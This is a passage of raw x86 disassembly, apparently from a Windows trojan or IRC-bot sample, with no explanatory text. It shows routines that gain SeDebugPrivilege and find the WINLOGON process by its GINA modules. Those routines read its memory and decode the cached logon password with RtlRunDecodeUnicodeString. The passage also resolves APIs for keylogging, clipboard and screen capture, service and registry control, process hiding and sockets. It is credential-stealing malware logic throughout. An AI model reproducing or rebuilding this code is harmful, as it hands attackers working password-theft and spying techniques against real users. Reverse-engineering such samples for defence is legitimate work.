[ebp+arg_14], eax loc_408F89: ; CODE XREF: sub_408EE0+53j ; sub_408EE0+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call ds:dword_4230B4 ; FindNextFileA test eax, eax jnz short loc_408F2C loc_408F9D: ; CODE XREF: sub_408EE0+4Aj push [ebp+var_4] call ds:dword_4230A8 ; FindClose push [ebp+arg_C] lea eax, [ebp+Dest] push [ebp+arg_10] push ebx ; Format push esi ; Count push eax ; Dest call __snprintf add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+Dest] push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_409023 loc_408FD4: ; CODE XREF: sub_408EE0+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h ; Count push eax ; Dest call __snprintf push 1 ; int lea eax, [ebp+var_54C] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_40D670 add esp, 28h lea eax, [ebp+var_144] push eax push esi call ds:dword_4230B4 ; FindNextFileA test eax, eax jnz short loc_408FD4 loc_409023: ; CODE XREF: sub_408EE0+F2j push esi call ds:dword_4230A8 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_408EE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409032 proc near ; DATA XREF: sub_40EE51+521Do Dest = byte ptr -29Ch var_9C = dword ptr -9Ch Str = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_40B785 cmp eax, esi mov [ebp+var_4], eax jz short loc_409071 cmp eax, 2 jz short loc_409071 push offset unk_42BD60 jmp loc_4091B0 ; --------------------------------------------------------------------------- loc_409071: ; CODE XREF: sub_409032+2Ej ; sub_409032+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41510E pop ecx test eax, eax pop ecx jz loc_4091AB push ebx push offset aNtdll_dll ; "NTDLL.DLL" call ds:dword_4230DC mov esi, ds:dword_4230D8 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov ds:dword_43C2C4, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov ds:dword_43C2B8, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov ds:dword_43C4C8, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov ds:dword_43C2C0, eax call esi mov ds:dword_43C2BC, eax call sub_409204 test eax, eax mov [ebp+arg_0], eax jz loc_40917E mov esi, ds:dword_4230D4 mov edi, 400h mov ebx, offset word_43B2B8 push edi push ebx push offset off_42BC9C call esi push edi mov edi, offset word_43BAB8 push edi push offset off_42BC84 call esi cmp [ebp+var_4], 1 push offset dword_43C4D0 push [ebp+arg_0] jnz short loc_40912A call sub_40938D jmp short loc_40912F ; --------------------------------------------------------------------------- loc_40912A: ; CODE XREF: sub_409032+EFj call sub_409534 loc_40912F: ; CODE XREF: sub_409032+F6j pop ecx test eax, eax pop ecx jz short loc_409177 cmp ds:dword_43C4D0, 0 jnz short loc_40915E push ebx push edi push [ebp+arg_0] lea eax, [ebp+Dest] push offset unk_42BC0C ; Format push 200h ; Count push eax ; Dest call __snprintf add esp, 18h jmp short loc_409191 ; --------------------------------------------------------------------------- loc_40915E: ; CODE XREF: sub_409032+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_40916E call sub_40966A jmp short loc_409173 ; --------------------------------------------------------------------------- loc_40916E: ; CODE XREF: sub_409032+133j call sub_409701 loc_409173: ; CODE XREF: sub_409032+13Aj pop ecx push eax jmp short loc_409183 ; --------------------------------------------------------------------------- loc_409177: ; CODE XREF: sub_409032+101j push offset unk_42BBC4 jmp short loc_409183 ; --------------------------------------------------------------------------- loc_40917E: ; CODE XREF: sub_409032+B6j push offset unk_42BB80 ; Format loc_409183: ; CODE XREF: sub_409032+143j ; sub_409032+14Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_409191: ; CODE XREF: sub_409032+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41510E pop ecx pop ecx push [ebp+var_8] call ds:dword_4230D0 pop ebx jmp short loc_4091BE ; --------------------------------------------------------------------------- loc_4091AB: ; CODE XREF: sub_409032+4Ej push offset unk_42BB3C ; Format loc_4091B0: ; CODE XREF: sub_409032+3Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_4091BE: ; CODE XREF: sub_409032+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_4091E5 push esi ; int lea eax, [ebp+Dest] push [ebp+var_14] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_9C] ; int call sub_40D670 add esp, 14h loc_4091E5: ; CODE XREF: sub_409032+191j lea eax, [ebp+Dest] push eax call sub_40BF6F push [ebp+var_18] call sub_417064 pop ecx pop ecx push esi call ds:dword_423050 pop edi pop esi sub_409032 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_409204 proc near ; CODE XREF: sub_409032+ACp String = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, ds:dword_423004 mov ebx, 100h push edi push ebx push 8 call esi mov edi, ds:dword_4230E4 push eax call edi ; RtlAllocateHeap mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call ds:dword_43C2C4 push ebp push 0 call esi push eax call ds:dword_4230E0 ; RtlFreeHeap push [esp+28h+var_14] push 8 call esi push eax call edi ; RtlAllocateHeap mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call ds:dword_43C2C4 test eax, eax jnz short loc_4092F1 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_4092F1 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+String], ecx jb short loc_4092F1 loc_40928D: ; CODE XREF: sub_409204+EBj cmp word ptr [ebx+8], 5 jnz short loc_4092E4 push 0 push 0 call ds:dword_43C2B8 mov edi, eax push edi push 1 push dword ptr [ebx+4] call ds:dword_43C4C8 test eax, eax jnz short loc_4092D5 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_409309 loc_4092D5: ; CODE XREF: sub_409204+AAj test edi, edi jz short loc_4092E0 push edi call ds:dword_43C2C0 loc_4092E0: ; CODE XREF: sub_409204+D3j mov eax, [esp+28h+var_10] loc_4092E4: ; CODE XREF: sub_409204+8Ej add ebx, 10h inc [esp+28h+String] cmp [esp+28h+String], eax jbe short loc_40928D loc_4092F1: ; CODE XREF: sub_409204+6Dj ; sub_409204+7Aj ... xor edi, edi loc_4092F3: ; CODE XREF: sub_409204+17Dj push ebp push 0 call esi push eax call ds:dword_4230E0 ; RtlFreeHeap mov eax, edi loc_409301: ; CODE XREF: sub_409204+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_409309: ; CODE XREF: sub_409204+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_409372 lea eax, [edi+80h] mov [esp+28h+String], eax loc_40931F: ; CODE XREF: sub_409204+16Cj add [esp+28h+String], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_409386 push offset aMsgina ; "MSGINA" push [esp+2Ch+String] ; String call __strupr pop ecx push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_409364 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_409364: ; CODE XREF: sub_409204+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_40931F loc_409372: ; CODE XREF: sub_409204+10Fj test edi, edi jz short loc_40937D push edi call ds:dword_43C2C0 loc_40937D: ; CODE XREF: sub_409204+170j mov edi, [esp+28h+var_4] jmp loc_4092F3 ; --------------------------------------------------------------------------- loc_409386: ; CODE XREF: sub_409204+13Cj xor eax, eax jmp loc_409301 sub_409204 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40938D proc near ; CODE XREF: sub_409032+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h call ds:dword_4230F8 ; OpenProcess cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093B6 xor eax, eax jmp loc_409531 ; --------------------------------------------------------------------------- loc_4093B6: ; CODE XREF: sub_40938D+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call ds:dword_4230F4 ; GetSystemInfo push [ebp+var_60] mov [ebp+var_8], esi mov esi, ds:dword_423004 push 8 call esi mov edi, ds:dword_4230E4 push eax call edi ; RtlAllocateHeap lea ecx, [ebp+var_8] mov ebx, ds:dword_4230F0 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_409406 xor esi, esi jmp loc_409524 ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_40938D+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_4230EC ; VirtualQueryEx test eax, eax jz loc_409513 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409513 test [ebp+var_2B], 1 jnz loc_409513 push [ebp+var_34] push 8 call esi push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_409513 loc_409469: ; CODE XREF: sub_40938D+112j push edi ; Str2 push offset word_43B2B8 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_409491 lea eax, [edi+200h] push eax ; Str2 push offset word_43BAB8 ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_4094A1 loc_409491: ; CODE XREF: sub_40938D+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409513 jmp short loc_409469 ; --------------------------------------------------------------------------- loc_4094A1: ; CODE XREF: sub_40938D+102j test edi, edi jz short loc_409513 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call ds:dword_4230B0 ; FileTimeToLocalFileTime test eax, eax jz short loc_4094DC lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call ds:dword_4230AC ; FileTimeToSystemTime test eax, eax jz short loc_4094DC mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094DC: ; CODE XREF: sub_40938D+12Bj ; sub_40938D+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov ds:dword_43C4DC, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov ds:dword_43C4D4, eax mov ds:Src, edi loc_409513: ; CODE XREF: sub_40938D+90j ; sub_40938D+A2j ... push [ebp+arg_0] push 0 call esi push eax call ds:dword_4230E0 ; RtlFreeHeap mov esi, [ebp+var_10] loc_409524: ; CODE XREF: sub_40938D+74j push [ebp+var_4] call ds:dword_423074 pop edi mov eax, esi pop ebx loc_409531: ; CODE XREF: sub_40938D+24j pop esi leave retn sub_40938D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409534 proc near ; CODE XREF: sub_409032:loc_40912Ap var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call ds:dword_4230F8 ; OpenProcess test eax, eax mov [ebp+arg_0], eax jz loc_409626 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_4230F4 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_40961D mov edi, ds:dword_423004 loc_40957F: ; CODE XREF: sub_409534+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_4230EC ; VirtualQueryEx test eax, eax jz short loc_40960B mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409611 test [ebp+var_13], 1 jnz short loc_409611 push ecx push 8 call edi push eax call ds:dword_4230E4 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call ds:dword_4230F0 ; ReadProcessMemory test eax, eax jz short loc_4095FD push offset word_43B2B8 ; Str2 push esi ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jnz short loc_4095FD lea eax, [esi+400h] push offset word_43BAB8 ; Str2 push eax ; Str1 call __wcsicmp pop ecx test eax, eax pop ecx jz short loc_40962D loc_4095FD: ; CODE XREF: sub_409534+9Fj ; sub_409534+B0j push esi push 0 call edi push eax call ds:dword_4230E0 ; RtlFreeHeap jmp short loc_409611 ; --------------------------------------------------------------------------- loc_40960B: ; CODE XREF: sub_409534+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409611: ; CODE XREF: sub_409534+71j ; sub_409534+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_40957F loc_40961D: ; CODE XREF: sub_409534+3Fj push [ebp+arg_0] call ds:dword_423074 loc_409626: ; CODE XREF: sub_409534+1Ej xor eax, eax loc_409628: ; CODE XREF: sub_409534+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40962D: ; CODE XREF: sub_409534+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov ds:dword_43C4D4, ebx mov ds:Src, eax cmp [eax], cl jnz short loc_40964F cmp [eax+1], cl jz short loc_409657 loc_40964F: ; CODE XREF: sub_409534+114j ; sub_409534+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_40964F loc_409657: ; CODE XREF: sub_409534+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx call ds:dword_423074 push 1 pop eax jmp short loc_409628 sub_409534 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966A proc near ; CODE XREF: sub_409032+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_43C4D0 push esi mov esi, ds:dword_423004 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax call ds:dword_4230E4 ; RtlAllocateHeap mov ecx, ds:dword_43C4D0 mov [ebp+var_4], eax add ecx, ecx push ecx ; Size push ds:Src ; Src push eax ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr ds:dword_43C4DC push eax call ds:dword_43C2BC push [ebp+var_4] mov edi, offset byte_43C2C8 push offset word_43B2B8 push offset word_43BAB8 push [ebp+arg_0] push offset unk_42BDC0 ; Format push 200h ; Count push edi ; Dest call __snprintf add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call ds:dword_4230E0 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_40966A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409701 proc near ; CODE XREF: sub_409032:loc_40916Ep var_18 = word ptr -18h var_16 = word ptr -16h Dst = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_43C4D0 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_423004 push eax call ds:dword_4230E4 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+Dst], eax mov ebx, offset word_43BAB8 mov edi, 200h mov esi, offset byte_43B0B8 loc_409747: ; CODE XREF: sub_409701+FAj mov eax, ds:dword_43C4D0 add eax, eax push eax ; Size push ds:Src ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call ds:dword_43C2BC mov eax, ds:dword_43C4D0 and [ebp+var_10], 0 mov ecx, [ebp+Dst] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097BC loc_409784: ; CODE XREF: sub_409701+B3j cmp [ebp+var_8], 0 jz short loc_4097D9 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097A8 cmp byte ptr [ecx+1], 0 jnz short loc_4097A8 cmp dl, 20h jnb short loc_4097A2 and [ebp+var_8], 0 loc_4097A2: ; CODE XREF: sub_409701+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097AC loc_4097A8: ; CODE XREF: sub_409701+90j ; sub_409701+96j and [ebp+var_8], 0 loc_4097AC: ; CODE XREF: sub_409701+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409784 cmp [ebp+var_8], 0 jz short loc_4097D9 loc_4097BC: ; CODE XREF: sub_409701+81j push [ebp+Dst] push offset word_43B2B8 push ebx push [ebp+arg_0] push offset unk_42BDC0 ; Format push edi ; Count push esi ; Dest call __snprintf add esp, 1Ch jmp short loc_4097F1 ; --------------------------------------------------------------------------- loc_4097D9: ; CODE XREF: sub_409701+87j ; sub_409701+B9j push offset word_43B2B8 push ebx push [ebp+arg_0] push offset unk_42BE2C ; Format push edi ; Count push esi ; Dest call __snprintf add esp, 18h loc_4097F1: ; CODE XREF: sub_409701+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_409747 push [ebp+Dst] push 0 call ds:dword_423004 push eax call ds:dword_4230E0 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_409701 endp ; =============== S U B R O U T I N E ======================================= sub_40981A proc near ; CODE XREF: sub_40E68B+48p push ebx push ebp mov ebp, ds:dword_4230FC push esi push edi push offset aKernel32_dll_1 ; "kernel32.dll" call ebp mov esi, ds:dword_4230D8 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993A push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_43C6C4, eax call esi push offset aProcess32first ; "Process32First" push edi mov ds:dword_43C638, eax call esi push offset aProcess32next ; "Process32Next" push edi mov ds:dword_43C61C, eax call esi push offset aModule32first ; "Module32First" push edi mov ds:dword_43C538, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_43C4E4, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_43C514, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_43C588, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_43C678, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_43C6D4, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_43C544, eax call esi cmp ds:dword_43C6C4, ebx mov ds:dword_43C52C, eax jz short loc_409918 cmp ds:dword_43C638, ebx jz short loc_409918 cmp ds:dword_43C61C, ebx jz short loc_409918 cmp ds:dword_43C538, ebx jz short loc_409918 cmp ds:dword_43C514, ebx jz short loc_409918 cmp ds:dword_43C588, ebx jz short loc_409918 cmp ds:dword_43C678, ebx jz short loc_409918 cmp ds:dword_43C6D4, ebx jz short loc_409918 cmp ds:dword_43C544, ebx jz short loc_409918 cmp eax, ebx jnz short loc_409922 loc_409918: ; CODE XREF: sub_40981A+B8j ; sub_40981A+C0j ... mov ds:dword_43C6D8, 1 loc_409922: ; CODE XREF: sub_40981A+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov ds:dword_43C650, eax jz short loc_40994F push 1 push ebx call eax jmp short loc_40994F ; --------------------------------------------------------------------------- loc_40993A: ; CODE XREF: sub_40981A+1Dj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C6DC, eax mov ds:dword_43C6D8, 1 loc_40994F: ; CODE XREF: sub_40981A+117j ; sub_40981A+11Ej push offset aUser32_dll_0 ; "user32.dll" call ds:dword_4230DC mov edi, eax cmp edi, ebx jz loc_409A64 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_43C674, eax call esi push offset aIswindow ; "IsWindow" push edi mov ds:dword_43C624, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_43C5B8, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_43C6C8, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_43C5E8, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_43C608, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_43C66C, eax call esi cmp ds:dword_43C674, ebx mov ds:dword_43C560, eax jz short loc_409A08 cmp ds:dword_43C624, ebx jz short loc_409A08 cmp ds:dword_43C5B8, ebx jz short loc_409A08 cmp ds:dword_43C6C8, ebx jz short loc_409A08 cmp ds:dword_43C5E8, ebx jz short loc_409A08 cmp ds:dword_43C608, ebx jz short loc_409A08 cmp ds:dword_43C66C, ebx jz short loc_409A08 cmp eax, ebx jnz short loc_409A12 loc_409A08: ; CODE XREF: sub_40981A+1B8j ; sub_40981A+1C0j ... mov ds:dword_43C6E0, 1 loc_409A12: ; CODE XREF: sub_40981A+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov ds:dword_43C5E4, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov ds:dword_43C4F8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov ds:dword_43C5B4, eax call esi cmp ds:dword_43C5E4, ebx mov ds:dword_43C5A0, eax jz short loc_409A6F cmp ds:dword_43C4F8, ebx jz short loc_409A6F cmp ds:dword_43C5B4, ebx jz short loc_409A6F cmp eax, ebx jnz short loc_409A79 jmp short loc_409A6F ; --------------------------------------------------------------------------- loc_409A64: ; CODE XREF: sub_40981A+144j call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C6E4, eax loc_409A6F: ; CODE XREF: sub_40981A+232j ; sub_40981A+23Aj ... mov ds:dword_43C6E0, 1 loc_409A79: ; CODE XREF: sub_40981A+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C14 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_43C688, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_43C5CC, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_43C63C, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_43C524, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_43C584, eax call esi cmp ds:dword_43C688, ebx mov ds:dword_43C5F4, eax jz short loc_409B04 cmp ds:dword_43C5CC, ebx jz short loc_409B04 cmp ds:dword_43C63C, ebx jz short loc_409B04 cmp ds:dword_43C524, ebx jz short loc_409B04 cmp ds:dword_43C584, ebx jz short loc_409B04 cmp eax, ebx jnz short loc_409B0E loc_409B04: ; CODE XREF: sub_40981A+2C4j ; sub_40981A+2CCj ... mov ds:dword_43C6E8, 1 loc_409B0E: ; CODE XREF: sub_40981A+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_43C5FC, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_43C5D4, eax call esi cmp ds:dword_43C5FC, ebx mov ds:dword_43C684, eax jz short loc_409B49 cmp ds:dword_43C5D4, ebx jz short loc_409B49 cmp eax, ebx jnz short loc_409B53 loc_409B49: ; CODE XREF: sub_40981A+321j ; sub_40981A+329j mov ds:dword_43C6E8, 1 loc_409B53: ; CODE XREF: sub_40981A+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_43C60C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_43C500, eax call esi push offset aControlservice ; "ControlService" push edi mov ds:dword_43C508, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_43C568, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_43C56C, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_43C51C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_43C5D8, eax call esi cmp ds:dword_43C60C, ebx mov ds:dword_43C50C, eax jz short loc_409BF7 cmp ds:dword_43C500, ebx jz short loc_409BF7 cmp ds:dword_43C508, ebx jz short loc_409BF7 cmp ds:dword_43C568, ebx jz short loc_409BF7 cmp ds:dword_43C56C, ebx jz short loc_409BF7 cmp ds:dword_43C51C, ebx jz short loc_409BF7 cmp ds:dword_43C5D8, ebx jz short loc_409BF7 cmp eax, ebx jnz short loc_409C01 loc_409BF7: ; CODE XREF: sub_40981A+3A7j ; sub_40981A+3AFj ... mov ds:dword_43C6E8, 1 loc_409C01: ; CODE XREF: sub_40981A+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov ds:dword_43C504, eax jnz short loc_409C29 jmp short loc_409C1F ; --------------------------------------------------------------------------- loc_409C14: ; CODE XREF: sub_40981A+26Aj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C6EC, eax loc_409C1F: ; CODE XREF: sub_40981A+3F8j mov ds:dword_43C6E8, 1 loc_409C29: ; CODE XREF: sub_40981A+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CF5 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_43C604, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_43C65C, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_43C664, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_43C620, eax call esi push offset aSelectobject ; "SelectObject" push edi mov ds:dword_43C548, eax call esi push offset aBitblt ; "BitBlt" push edi mov ds:dword_43C4F4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_43C660, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_43C4E0, eax call esi cmp ds:dword_43C604, ebx mov ds:dword_43C57C, eax jz short loc_409D00 cmp ds:dword_43C65C, ebx jz short loc_409D00 cmp ds:dword_43C664, ebx jz short loc_409D00 cmp ds:dword_43C620, ebx jz short loc_409D00 cmp ds:dword_43C548, ebx jz short loc_409D00 cmp ds:dword_43C4F4, ebx jz short loc_409D00 cmp ds:dword_43C660, ebx jz short loc_409D00 cmp ds:dword_43C4E0, ebx jz short loc_409D00 cmp eax, ebx jnz short loc_409D0A jmp short loc_409D00 ; --------------------------------------------------------------------------- loc_409CF5: ; CODE XREF: sub_40981A+41Aj call ds:dword_423088 ; RtlGetLastWin32Error mov ds:dword_43C6F4, eax loc_409D00: ; CODE XREF: sub_40981A+49Bj ; sub_40981A+4A3j ... mov ds:dword_43C6F0, 1 loc_409D0A: ; CODE XREF: sub_40981A+4D7j mov ebp, ds:dword_4230DC push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FC6 push offset aWsastartup ; "WSAStartup" push edi call esi 